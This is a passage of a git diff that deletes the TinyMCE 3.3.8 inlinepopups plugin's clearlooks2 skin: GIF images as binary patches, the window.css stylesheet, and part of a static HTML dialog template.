znnQYzW|c$BfC1VUE*c1!VTjAScy#S%)!|~rgM5Un%<`AEu^$T`cnDZR$Q_cij?u>H zv*CdXLINn%=tH`+>C>qDxJcmTfS@*Z45S!AI|Ya#EOHOnP2`2|1;88Ju#tey5e=^) w9O1*fx%21Hn;(HtX3!cMK%gku&b_<$??7lEkM$&p`Sa-0r)T3DnWI1eJD_KQDgXcg diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/button.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/button.gif deleted file mode 100644 index e671094cb0eb210b756117f992cf5ca2caa698fd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 280 zcmZ?wbhEHb3}BFB*v!Ci>hy`^<m7ADuRePG@c#XKPoF(yU|_g*<J$lK|A7olp!kyo zET{t_L1r+p91UP`UcJ}i^;v8FNsT=zne#GMt$UN@ldE&S#OrFsy6NBF{a+(j;Nim2 z?Qz%e<Q(1E0n=AFtc_ZKV@=uVw`KYFHdOeWYdZa6%dD!n-S=;s)!6NqefMKe-TC*w z|2Nb#lr^@twRcoCD|Pnv^_O>ZOqepYsb$*CnUiMCojPaU!rn<NOP4KQv2xYwHEY+c zU9x`D<}F)SY}~eU*X|v=_wC<ce&Fzt<$IY=oIG{<%-M72FI+rx{L<BH*KaU43*WqZ U@BRsWMY$(WpFI~>5M;0h0LDv<C;$Ke diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/buttons.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/buttons.gif deleted file mode 100644 index 6baf64ad321ab3d35330f2aaae7504aa519644bd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1195 zcmV;c1XTM+Nk%w1VRQg60K^&qo}rxY@9u7Ug;85$H#j%{|NpDH#%p|xwZqR~a)67K zo_>*_&)DBrWN@OfznH1FT4{BUps!wTd|YdJ0002^_xJYp^u)%)d3$)z&B_1&{{R30 z000000000000000A^8LW000^QEC2ui0CWH_000I5phk>jX`ZJhqHH^=Zk(=iEn-2g z?|i>wBOI?nEE<hGAVKJBHkC}LRHw8|uQ|)eIy`!bJS~BXm5Ryb<~eQN_P*b+o2{PH zd+R&iu7i8!V@(u;go93bJ%&1pK8SicjyXhygMT}bi<FFefj)#epLLy&kbIIAnwF)b zJer$;XswiOtfZKeMii=9ri+P(y*q_dViy3%$j7b}$;}rd#?8tZ8I;n<&jiuZ%+1}` z+1uBJ*U91K%jE#)<J1(@)#~ir^yTy1*7DHkuKL>ih2q)UH?AHyg7~@-@+VH6!(;c_ zxnl@0-@$+5z5y6S@uA0c2rFuI7V_gjj3zt(raakjrMZ$WvB8W9atTdoP;NHMsS_E` zo&bQ*s1XAOQ5i;$x=5;&g^B@Cqe`7hmFm-~ShGUCs<o?Bu3o)rfXbk(*|TWVo|US$ zty>0c-^w)`cdp#12=eOP%eQY|sD1+r)(d#BVZMbAD~4*IvE#>(BS&T|xw7TPlrL+3 zoO$zRs18Dl9!<J*Y0#!qs}7CYbb;5fU$1UmTDEB0si8jD&AYen-@kPOe-Qii@ZQ3K z7l(cPLGs_si5ou-HG=i)*t2WbUVVFn<=(M(-@g2H_z2_47e9}Fz=HSi<IA5vA1eL# z1>)zw58wX%{rd5@fPehOCg6KeHK5@Cf($n3po0lM*gyda7AK*C5k5#^gBwbip@gwr zxFA#zlxU)f<rQ$^iV%><Vu>n3pyG@#n&{$-F`k&?i#Os}T#YskFu{;S5}9I=NKOD% zl13IcK><t>xnz`3B3WgWQ!)wLkXuHn<Ny+cDW;eyj%lU@P@Q>Z0c5HvW}0r6=_Z<B z#>pm`ce)8x0(|!A=bwNAx@Vw%7Dp(bgC44=paU%GsGm?BAnBx(R%)rGkzT6lrjlmL z>8F%>3M!~kDPZcUsHUnas#2}$>Z=O03hS(=%1Z03TZN@7Sh{A#Yp+%P3hY!W2w?27 z$R?|-vc)dz?6bx;3+=SXN=q&OwHg>}*IdYMD_6JPx&>~yY8|WCxyGKWSi0&O#%{ZU z8SB}+^3J<iz4l&)Z@!foyV}2{`3vyC4hZa8d8-**TLGitW}30hMf@AY!!0K<#mbe} z9LCU17u|5ivL`ZjA$tcNdnK!PvUe$~3>(S<94K>q#ugahfi?d(AAt1bTp(;R8!O__ z4hjuog&|&Ow1y6L_~6nY!bY^QK&A*J1XR};BaJ(<m^F?pcD>@)KE`%6)&h8Wq?g93 z?c|kAwoPS{a3?9ZmalP{H`@ZtDW{vp&e>*|d8!$>oy!S+xSFqx+4!8sJ}P<SiyC?; z<&rOodFGc3FzV;Vem-g_=%Rm0dg+@Udn>KTu0Ct)uD=R<?5jq5?d{gy{%r2LFUx!H J$!ZV+06W;kU)}%! diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/confirm.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/confirm.gif deleted file mode 100644 index 497307a85ad32e00b67c5f27d6f3b46ac566d89b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 915 zcmV;E18n?9Nk%w1VITk?0OkMy&&j~|k1Co}49|EKqh~0+ri!6j6Z*7U`lU1e^XU7^ zod5p+om&^t%*Cs9J)E4I)z#6vZX5cfOQfZw_J9bzzPy@aE7*uE$H2Mzs7<(K4$*}x z?4CLJokRMqQrd$ZlS~7knw0jXHTSe!o0*mDqeS+82K9OY`oWCJ%E-LEy7!Ya^?nJ( z#>DxVCHlB}`m%1))6x2zDYdq=`Kv|wmLm3t8~B<$_Jb3xuB^__&G?WTylN4utE$1m z!1=ILv9hrCi66PSxc~e2>z6G0pe^@^5&5A-&VntacS+opK(T{V_m()r#KOD0y0na8 z%goB5UmeoU$gX`!&(O}**3|y@@xQ>n(9zHMmpZewvaqqQx45?Js#L_q!_309tE{Tf zhBEo9Vadb0m3v>7ePP{-Blnp<{MWPlxL*0GU8$dvuduJ(k1^BK(#Ocgm{14%#gX`? zRrPxW_?tJVsi*s^Ih9Zd`n!Ms{rtGOx2&zJ_Iw2Oc>wp7H`dqHA^8LV00000EC2ui z03ZM$000O7fPaF6gntbM4p9Oi0#ObH4TX}Ee_sv)5lUSnX(L@q5dschl$1*XVQCp1 zeyy$<2VnwB5T%0+1Q8<=Os>AJM<Wpgk);g`NC#QJ%&$lc#ghcdz0KAc8w9nIPrB9C z*AY*W00zp<3Rdb0);|USg;N*2=nMAj%^eq0gi-=&-+rO6w*Un=4+5kNDiFZ~xEBQR zfRn(Zz#s>0j(~$f5C*s#Z5#}WQsM?UH3Y?cED>eUzkt6a5bO}dMvwr^Xb5l#@FPJS zeS!wHvEmgRmp@>-3c_NDJ)uzN1ZkynBnOke0ssw~U_pYYQEhN&DagSGI<2(wiP}L< z2e47_&4?6KK!XdoP`Bdkv!miI0SHd)Rj>ff-abVV5}Gn#$6lukSl~7CfghoAf$`$8 z5@&CbciebnJ`7g|k8#ol6q!Rhs*3^IC>>Kxp>@zA1EAR&LqLOw8f*9N5TStp1}s%3 zVM*boLJ~NtT^KPTcxVj-0|X>-(j<kBZT(tY5u#;{1vnZ$5D{TV1d$IK;8<7#giD3) zR3t$WPd>+l5M`Wq2O|PlKt>1?^svPY_j#uua~0?Tgn$1%K*EI<CJ4rY+`aLga{KuZ p;S3Y*(Zh)wvY~~2S9sx|Ef7$_ToWQj=){fp`OpFs$Vn0i06Ts(yS)Ga diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/corners.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/corners.gif deleted file mode 100644 index c894b2e83522ae29d32e0ed57007d1285c715a7f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 911 zcmd6kdrwkv06>2i?j<x$Fc&q=@P#<CjHy{o!`u@3%Qe?r%SElVW?R#it<7cE3u4+* z^O4zWLS)c%sAyRWy=E#@W@#;agk-5Gh=9Blk?LD?KEXLVnY^PZ2hPL-8kpmOW#c>m zAoXC1c4Wxs^ZEJtUB4q<T9{d!{ejg#Ev}K=sC{By{AIT;tyqjMht09F{8*tf&FhVG zx?7K18)Pqy^V3%ILfL(JtyEbhZu{_Us<6CqaZb1DcA5-7O$I$$CoQRy4)?#3bl{#f zx7WMg{Gxx|v)0x8P}!^A*zhWQ)OMS>T{UQ1HY%Uh+pQ*t&D_y5<X!i4sD=hczOT9+ zZs*FI!Ov@}uGjBAy?pzzvsdHstgTp0yJA>9>e1Hjx9TtBow%m&!&jTd_<n5C?Xv&P z`J48i6R`?I0Pw)>f1dxIfK5J>hhd07SSo@<yf^@e1PHE-yA7fU0t8{)M?x771ffs` zR$FyPCTnQqAuQG-MQ9hJ{brXGtCZKMRQD7N=71tIRx`j9^E9!U6{_l9yj77HGoi?c z)=k7Dmg=H2Mk~LzL>U1ANej1zBgs@J)fS$HxTwj{ShgdWQ_Y8V1_h@vv!qzRzyB@+ z)6#Z?iW=a9&+kg`Kr%f7CfA71iK;1=LJ}Gy$VX4NJcj@#Eg2?3moI4LKhG1RIoI;k zR(9^*MkqfeXOWI?@z07&C`6+;+5U$r@?g~7SE`^9EI4NyQM);aP&a^Qu#OXmrWw+; zlBPWv*b`t#;?w$Wfug|f{7_}xnb%jXB(rC~MUS#+NW!T2av4Ypxp0F2N<hUQT%?#| z#`}b0TL~YvEx;jcCMAz-U*g(=Hh0Iv{PrdnHnpu7IES%hpxGDAY-pQwVY9(!1D12c z*sS054gt9-Qs|;gq;vOMa!U&|foU=yo+~V(8V~CeExI>_qva>Vv^VISDi|>EX(%41 z@Cm688>Uf+QlLkXaIO#&z;q&UJDY-1!mg;(MFDCGS{6p8a!wV<G08a^8xR9TJDicC Q$ibXr>F{_rmktj70is)Xxc~qF diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/horizontal.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/horizontal.gif deleted file mode 100644 index c2a2ad454db194e428a7b9da40f62d5376a17428..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 769 zcmb7?=`WiB0LI^D)(HC`v6*aD4AW#LGRb0Oi$t<fW)_L~Kx~mM4a>H~CP=nb%N%8n zy02ceuewTUUDeW|RaMp*TlLV6R$o=rQOY{@AME+?`}QQiCwU%4Jq)?`{5B8=ECT1T z+wH!7{<!M4+^W_x3X9mvt_8U*Jv?fkfX)#zho;^a)qkj<V5?d`5osSQsRa$~gqAMJ z;>zji$)-UA>D9({)xO1SJGLHK54Mat(}s4_unMiKjB85EHng*~!Ddt+?(c5uHG4ZI zsc>jP#5Y6w6Wj5!Y<hs+bU!o%27{ex{L}eAcpo{y03Z+uIIo>=0^oK*&D+R;Yh@ze z7vfi;q<Qcix+@`mxieE@%Hh|uvSI=oWth?&>FW{owiOfGqcB@XkwUZ0j?Km4{qjE- z6c!Z|O1!?5l~+^}tE#<g>*^aCo0?lZ$rLKBwT;dI+nLO(UEMvb-ad9elEWPw8Xg(t zx$y<#6T+{PQ@$ecjAT|iC%dxnP5yoH$I`OLFU5*drPiz>bidcu^@a^2v}rP3-`?4^ z?Cl>M-Z(n8ot*x$0~Z|;ku35!-qAHSQN*GM3tW8AN#VWJNrHQD+6qXfO_zB^6eFVU z<cf)?cxIBg&kt7{lseNC#imOygk%_3#B7GlPJ-i{Jkb5%0xi-Rl|0kmE@#Bi&~@km z=3+-8JFQeO(6Q9>OjzupAb0*`W8}<a38zcJed8@^j^=hNN3twNrKHx3=VLE8BVz_x ztHMH8|4hMPuWq{BC%Pqu+_xsF3r<(fW@Gg-as&bSc({K<4n7S|lnxI-ORQ80JbZ*> zQVeE5Djt<<RtxaXp0SAh9i51HD`jqU$fBR8MUx&V^Y)=-cDj0w7e+8^gapqgW1~l| z26;z{Y>a0+Owme6r2OGio7DoTWqkhGKj0`0*1-*<$#uL5YH*kC8Z>wpCvYO~asp;G r-~A;>$wp)vkltB=c_?k6Zw*FUgrbAm;sB08O9+}m=}H3OFd*zN8L+JA diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/vertical.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/vertical.gif deleted file mode 100644 index 43a735f22c81d6d7d99c1ba9f034f38bfdd1a92b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 92 zcmZ?wbhEHb<YM4sSj52a{`GSP28ON6=G?h*=KufyKsE#@{$v3&bU-9XEd#Tn27|Dp lx5hJt39I*7Y(09VtW<RR)W@1l^Cat@NFCPt>&D4o4FLHO9PR)B diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/window.css b/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/window.css deleted file mode 100644 index 5e6fd7d..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/window.css +++ /dev/null @@ -1,90 +0,0 @@ -/* Clearlooks 2 */ - -/* Reset */ -.clearlooks2, .clearlooks2 div, .clearlooks2 span, .clearlooks2 a {vertical-align:baseline; text-align:left; position:absolute; border:0; padding:0; margin:0; background:transparent; font-family:Arial,Verdana; font-size:11px; color:#000; text-decoration:none; font-weight:normal; width:auto; height:auto; overflow:hidden; display:block} - -/* General */ -.clearlooks2 {position:absolute; direction:ltr} -.clearlooks2 .mceWrapper {position:static} -.mceEventBlocker {position:fixed; left:0; top:0; background:url(img/horizontal.gif) no-repeat 0 -75px; width:100%; height:100%} -.clearlooks2 .mcePlaceHolder {border:1px solid #000; background:#888; top:0; left:0; opacity:0.5; -ms-filter:'alpha(opacity=50)'; filter:alpha(opacity=50)} -.clearlooks2_modalBlocker {position:fixed; left:0; top:0; width:100%; height:100%; background:#FFF; opacity:0.6; -ms-filter:'alpha(opacity=60)'; filter:alpha(opacity=60); display:none} - -/* Top */ -.clearlooks2 .mceTop, .clearlooks2 .mceTop div {top:0; width:100%; height:23px} -.clearlooks2 .mceTop .mceLeft {width:6px; background:url(img/corners.gif)} -.clearlooks2 .mceTop .mceCenter {right:6px; width:100%; height:23px; background:url(img/horizontal.gif) 12px 0; clip:rect(auto auto auto 12px)} -.clearlooks2 .mceTop .mceRight {right:0; width:6px; height:23px; background:url(img/corners.gif) -12px 0} -.clearlooks2 .mceTop span {width:100%; text-align:center; vertical-align:middle; line-height:23px; font-weight:bold} -.clearlooks2 .mceFocus .mceTop .mceLeft {background:url(img/corners.gif) -6px 0} -.clearlooks2 .mceFocus .mceTop .mceCenter {background:url(img/horizontal.gif) 0 -23px} -.clearlooks2 .mceFocus .mceTop .mceRight {background:url(img/corners.gif) -18px 0} -.clearlooks2 .mceFocus .mceTop span {color:#FFF} - -/* Middle */ -.clearlooks2 .mceMiddle, .clearlooks2 .mceMiddle div {top:0} -.clearlooks2 .mceMiddle {width:100%; height:100%; clip:rect(23px auto auto auto)} -.clearlooks2 .mceMiddle .mceLeft {left:0; width:5px; height:100%; background:url(img/vertical.gif) -5px 0} -.clearlooks2 .mceMiddle span {top:23px; left:5px; width:100%; height:100%; background:#FFF} -.clearlooks2 .mceMiddle .mceRight {right:0; width:5px; height:100%; background:url(img/vertical.gif)} - -/* Bottom */ -.clearlooks2 .mceBottom, .clearlooks2 .mceBottom div {height:6px} -.clearlooks2 .mceBottom {left:0; bottom:0; width:100%} -.clearlooks2 .mceBottom div {top:0} -.clearlooks2 .mceBottom .mceLeft {left:0; width:5px; background:url(img/corners.gif) -34px -6px} -.clearlooks2 .mceBottom .mceCenter {left:5px; width:100%; background:url(img/horizontal.gif) 0 -46px} -.clearlooks2 .mceBottom .mceRight {right:0; width:5px; background: url(img/corners.gif) -34px 0} -.clearlooks2 .mceBottom span {display:none} -.clearlooks2 .mceStatusbar .mceBottom, .clearlooks2 .mceStatusbar .mceBottom div {height:23px} -.clearlooks2 .mceStatusbar .mceBottom .mceLeft {background:url(img/corners.gif) -29px 0} -.clearlooks2 .mceStatusbar .mceBottom .mceCenter {background:url(img/horizontal.gif) 0 -52px} -.clearlooks2 .mceStatusbar .mceBottom .mceRight {background:url(img/corners.gif) -24px 0} -.clearlooks2 .mceStatusbar .mceBottom span {display:block; left:7px; font-family:Arial, Verdana; font-size:11px; line-height:23px} - -/* Actions */ -.clearlooks2 a {width:29px; height:16px; top:3px;} -.clearlooks2 .mceClose {right:6px; background:url(img/buttons.gif) -87px 0} -.clearlooks2 .mceMin {display:none; right:68px; background:url(img/buttons.gif) 0 0} -.clearlooks2 .mceMed {display:none; right:37px; background:url(img/buttons.gif) -29px 0} -.clearlooks2 .mceMax {display:none; right:37px; background:url(img/buttons.gif) -58px 0} -.clearlooks2 .mceMove {display:none;width:100%;cursor:move;background:url(img/corners.gif) no-repeat -100px -100px} -.clearlooks2 .mceMovable .mceMove {display:block} -.clearlooks2 .mceFocus .mceClose {right:6px; background:url(img/buttons.gif) -87px -16px} -.clearlooks2 .mceFocus .mceMin {right:68px; background:url(img/buttons.gif) 0 -16px} -.clearlooks2 .mceFocus .mceMed {right:37px; background:url(img/buttons.gif) -29px -16px} -.clearlooks2 .mceFocus .mceMax {right:37px; background:url(img/buttons.gif) -58px -16px} -.clearlooks2 .mceFocus .mceClose:hover {right:6px; background:url(img/buttons.gif) -87px -32px} -.clearlooks2 .mceFocus .mceClose:hover {right:6px; background:url(img/buttons.gif) -87px -32px} -.clearlooks2 .mceFocus .mceMin:hover {right:68px; background:url(img/buttons.gif) 0 -32px} -.clearlooks2 .mceFocus .mceMed:hover {right:37px; background:url(img/buttons.gif) -29px -32px} -.clearlooks2 .mceFocus .mceMax:hover {right:37px; background:url(img/buttons.gif) -58px -32px} - -/* Resize */ -.clearlooks2 .mceResize {top:auto; left:auto; display:none; width:5px; height:5px; background:url(img/horizontal.gif) no-repeat 0 -75px} -.clearlooks2 .mceResizable .mceResize {display:block} -.clearlooks2 .mceResizable .mceMin, .clearlooks2 .mceMax {display:none} -.clearlooks2 .mceMinimizable .mceMin {display:block} -.clearlooks2 .mceMaximizable .mceMax {display:block} -.clearlooks2 .mceMaximized .mceMed {display:block} -.clearlooks2 .mceMaximized .mceMax {display:none} -.clearlooks2 a.mceResizeN {top:0; left:0; width:100%; cursor:n-resize} -.clearlooks2 a.mceResizeNW {top:0; left:0; cursor:nw-resize} -.clearlooks2 a.mceResizeNE {top:0; right:0; cursor:ne-resize} -.clearlooks2 a.mceResizeW {top:0; left:0; height:100%; cursor:w-resize;} -.clearlooks2 a.mceResizeE {top:0; right:0; height:100%; cursor:e-resize} -.clearlooks2 a.mceResizeS {bottom:0; left:0; width:100%; cursor:s-resize} -.clearlooks2 a.mceResizeSW {bottom:0; left:0; cursor:sw-resize} -.clearlooks2 a.mceResizeSE {bottom:0; right:0; cursor:se-resize} - -/* Alert/Confirm */ -.clearlooks2 .mceButton {font-weight:bold; bottom:10px; width:80px; height:30px; background:url(img/button.gif); line-height:30px; vertical-align:middle; text-align:center; outline:0} -.clearlooks2 .mceMiddle .mceIcon {left:15px; top:35px; width:32px; height:32px} -.clearlooks2 .mceAlert .mceMiddle span, .clearlooks2 .mceConfirm .mceMiddle span {background:transparent;left:60px; top:35px; width:320px; height:50px; font-weight:bold; overflow:auto; white-space:normal} -.clearlooks2 a:hover {font-weight:bold;} -.clearlooks2 .mceAlert .mceMiddle, .clearlooks2 .mceConfirm .mceMiddle {background:#D6D7D5} -.clearlooks2 .mceAlert .mceOk {left:50%; top:auto; margin-left: -40px} -.clearlooks2 .mceAlert .mceIcon {background:url(img/alert.gif)} -.clearlooks2 .mceConfirm .mceOk {left:50%; top:auto; margin-left: -90px} -.clearlooks2 .mceConfirm .mceCancel {left:50%; top:auto} -.clearlooks2 .mceConfirm .mceIcon {background:url(img/confirm.gif)} \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/template.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/template.htm deleted file mode 100644 index f9ec642..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/template.htm +++ /dev/null @@ -1,387 +0,0 @@ -<!-- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> --> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> -<title>Template for dialogs</title> -<link rel="stylesheet" type="text/css" href="skins/clearlooks2/window.css" /> -</head> -<body> - -<div class="mceEditor"> - <div class="clearlooks2" style="width:400px; height:100px; left:10px;"> - <div class="mceWrapper"> - <div class="mceTop"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - <span>Blured</span> - </div> - - <div class="mceMiddle"> - <div class="mceLeft"></div> - <span>Content</span> - <div class="mceRight"></div> - </div> - - <div class="mceBottom"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - <span>Statusbar text.</span> - </div> - - <a class="mceMove" href="#"></a> - <a class="mceMin" href="#"></a> - <a class="mceMax" href="#"></a> - <a class="mceMed" href="#"></a> - <a class="mceClose" href="#"></a> - <a class="mceResize mceResizeN" href="#"></a> - <a class="mceResize mceResizeS" href="#"></a> - <a class="mceResize mceResizeW" href="#"></a> - <a class="mceResize mceResizeE" href="#"></a> - <a class="mceResize mceResizeNW" href="#"></a> - <a class="mceResize mceResizeNE" href="#"></a> - <a class="mceResize mceResizeSW" href="#"></a> - <a class="mceResize mceResizeSE" href="#"></a> - </div> - </div> - - <div class="clearlooks2" style="width:400px; height:100px; left:420px;"> - <div class="mceWrapper mceMovable mceFocus"> - <div class="mceTop"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - <span>Focused</span> - </div> - - <div class="mceMiddle"> - <div class="mceLeft"></div> - <span>Content</span> - <div class="mceRight"></div> - </div> - - <div class="mceBottom"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - <span>Statusbar text.</span> - </div> - - <a class="mceMove" href="#"></a> - <a class="mceMin" href="#"></a> - <a class="mceMax" href="#"></a> - <a class="mceMed" href="#"></a> - <a class="mceClose" href="#"></a> - <a class="mceResize mceResizeN" href="#"></a> - <a class="mceResize mceResizeS" href="#"></a> - <a class="mceResize mceResizeW" href="#"></a> - <a class="mceResize mceResizeE" href="#"></a> - <a class="mceResize mceResizeNW" href="#"></a> - <a class="mceResize mceResizeNE" href="#"></a> - <a class="mceResize mceResizeSW" href="#"></a> - <a class="mceResize mceResizeSE" href="#"></a> - </div> - </div> - - <div class="clearlooks2" style="width:400px; height:100px; left:10px; top:120px;"> - <div class="mceWrapper mceMovable mceFocus mceStatusbar"> - <div class="mceTop"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - <span>Statusbar</span> - </div> - - <div class="mceMiddle"> - <div class="mceLeft"></div> - <span>Content</span> - <div class="mceRight"></div> - </div> - - <div class="mceBottom"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - <span>Statusbar text.</span> - </div> - - <a class="mceMove" href="#"></a> - <a class="mceMin" href="#"></a> - <a class="mceMax" href="#"></a> - <a class="mceMed" href="#"></a> - <a class="mceClose" href="#"></a> - <a class="mceResize mceResizeN" href="#"></a> - <a class="mceResize mceResizeS" href="#"></a> - <a class="mceResize mceResizeW" href="#"></a> - <a class="mceResize mceResizeE" href="#"></a> - <a class="mceResize mceResizeNW" href="#"></a> - <a class="mceResize mceResizeNE" href="#"></a> - <a class="mceResize mceResizeSW" href="#"></a> - <a class="mceResize mceResizeSE" href="#"></a> - </div> - </div> - - <div class="clearlooks2" style="width:400px; height:100px; left:420px; top:120px;"> - <div class="mceWrapper mceMovable mceFocus mceStatusbar mceResizable"> - <div class="mceTop"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - <span>Statusbar, Resizable</span> - </div> - - <div class="mceMiddle"> - <div class="mceLeft"></div> - <span>Content</span> - <div class="mceRight"></div> - </div> - - <div class="mceBottom"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - <span>Statusbar text.</span> - </div> - - <a class="mceMove" href="#"></a> - <a class="mceMin" href="#"></a> - <a class="mceMax" href="#"></a> - <a class="mceMed" href="#"></a> - <a class="mceClose" href="#"></a> - <a class="mceResize mceResizeN" href="#"></a> - <a class="mceResize mceResizeS" href="#"></a> - <a class="mceResize mceResizeW" href="#"></a> - <a class="mceResize mceResizeE" href="#"></a> - <a class="mceResize mceResizeNW" href="#"></a> - <a class="mceResize mceResizeNE" href="#"></a> - <a class="mceResize mceResizeSW" href="#"></a> - <a class="mceResize mceResizeSE" href="#"></a> - </div> - </div> - - <div class="clearlooks2" style="width:400px; height:100px; left:10px; top:230px;"> - <div class="mceWrapper mceMovable mceFocus mceResizable mceMaximizable"> - <div class="mceTop"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - <span>Resizable, Maximizable</span> - </div> - - <div class="mceMiddle"> - <div class="mceLeft"></div> - <span>Content</span> - <div class="mceRight"></div> - </div> - - <div class="mceBottom"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - <span>Statusbar text.</span> - </div> - - <a class="mceMove" href="#"></a> - <a class="mceMin" href="#"></a> - <a class="mceMax" href="#"></a> - <a class="mceMed" href="#"></a> - <a class="mceClose" href="#"></a> - <a class="mceResize mceResizeN" href="#"></a> - <a class="mceResize mceResizeS" href="#"></a> - <a class="mceResize mceResizeW" href="#"></a> - <a class="mceResize mceResizeE" href="#"></a> - <a class="mceResize mceResizeNW" href="#"></a> - <a class="mceResize mceResizeNE" href="#"></a> - <a class="mceResize mceResizeSW" href="#"></a> - <a class="mceResize mceResizeSE" href="#"></a> - </div> - </div> - - <div class="clearlooks2" style="width:400px; height:100px; left:420px; top:230px;"> - <div class="mceWrapper mceMovable mceStatusbar mceResizable mceMaximizable"> - <div class="mceTop"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - <span>Blurred, Maximizable, Statusbar, Resizable</span> - </div> - - <div class="mceMiddle"> - <div class="mceLeft"></div> - <span>Content</span> - <div class="mceRight"></div> - </div> - - <div class="mceBottom"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - <span>Statusbar text.</span> - </div> - - <a class="mceMove" href="#"></a> - <a class="mceMin" href="#"></a> - <a class="mceMax" href="#"></a> - <a class="mceMed" href="#"></a> - <a class="mceClose" href="#"></a> - <a class="mceResize mceResizeN" href="#"></a> - <a class="mceResize mceResizeS" href="#"></a> - <a class="mceResize mceResizeW" href="#"></a> - <a class="mceResize mceResizeE" href="#"></a> - <a class="mceResize mceResizeNW" href="#"></a> - <a class="mceResize mceResizeNE" href="#"></a> - <a class="mceResize mceResizeSW" href="#"></a> - <a class="mceResize mceResizeSE" href="#"></a> - </div> - </div> - - <div class="clearlooks2" style="width:400px; height:100px; left:10px; top:340px;"> - <div class="mceWrapper mceMovable mceFocus mceResizable mceMaximized mceMinimizable mceMaximizable"> - <div class="mceTop"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - <span>Maximized, Maximizable, Minimizable</span> - </div> - - <div class="mceMiddle"> - <div class="mceLeft"></div> - <span>Content</span> - <div class="mceRight"></div> - </div> - - <div class="mceBottom"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - <span>Statusbar text.</span> - </div> - - <a class="mceMove" href="#"></a> - <a class="mceMin" href="#"></a> - <a class="mceMax" href="#"></a> - <a class="mceMed" href="#"></a> - <a class="mceClose" href="#"></a> - <a class="mceResize mceResizeN" href="#"></a> - <a class="mceResize mceResizeS" href="#"></a> - <a class="mceResize mceResizeW" href="#"></a> - <a class="mceResize mceResizeE" href="#"></a> - <a class="mceResize mceResizeNW" href="#"></a> - <a class="mceResize mceResizeNE" href="#"></a> - <a class="mceResize mceResizeSW" href="#"></a> - <a class="mceResize mceResizeSE" href="#"></a> - </div> - </div> - - <div class="clearlooks2" style="width:400px; height:100px; left:420px; top:340px;"> - <div class="mceWrapper mceMovable mceStatusbar mceResizable mceMaximized mceMinimizable mceMaximizable"> - <div class="mceTop"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - <span>Blured</span> - </div> - - <div class="mceMiddle"> - <div class="mceLeft"></div> - <span>Content</span> - <div class="mceRight"></div> - </div> - - <div class="mceBottom"> - <div class="mceLeft"></div> - <div class="mceCenter"></div> - <div class="mceRight"></div> - <span>Statusbar text.</span> - </div> - - <a class="mceMove" href="#"></a> - <a class="mceMin" href="#"></a> - <a class="mceMax" href="#"></a> - <a class="mceMed" href="#"></a> - <a class="mceClose" href="#"></a> - <a class="mceResize mceResizeN" href="#"></a> - <a class="mceResize mceResizeS" href="#"></a> - <a class="mceResize mceResizeW" href="#"></a> - <a class="mceResize mceResizeE" href="#"></a> - <a class="mceResize mceResizeNW" href="#"></a> - <a class="mceResize mceResizeNE" href="#"></a> - <a class="mceResize mceResizeSW" href="#"></a> - <a class="mceResize mceResizeSE" href="#"></a> - </div> - </div> - - <div class="clearlooks2" style="width:400px; height:130px; left:10px; top:450px;"> - <div class="mceWrapper mceMovable mceFocus mceModal mceAlert"> - <div class="mceTop"> - <div class="mceLeft"></div> - <div 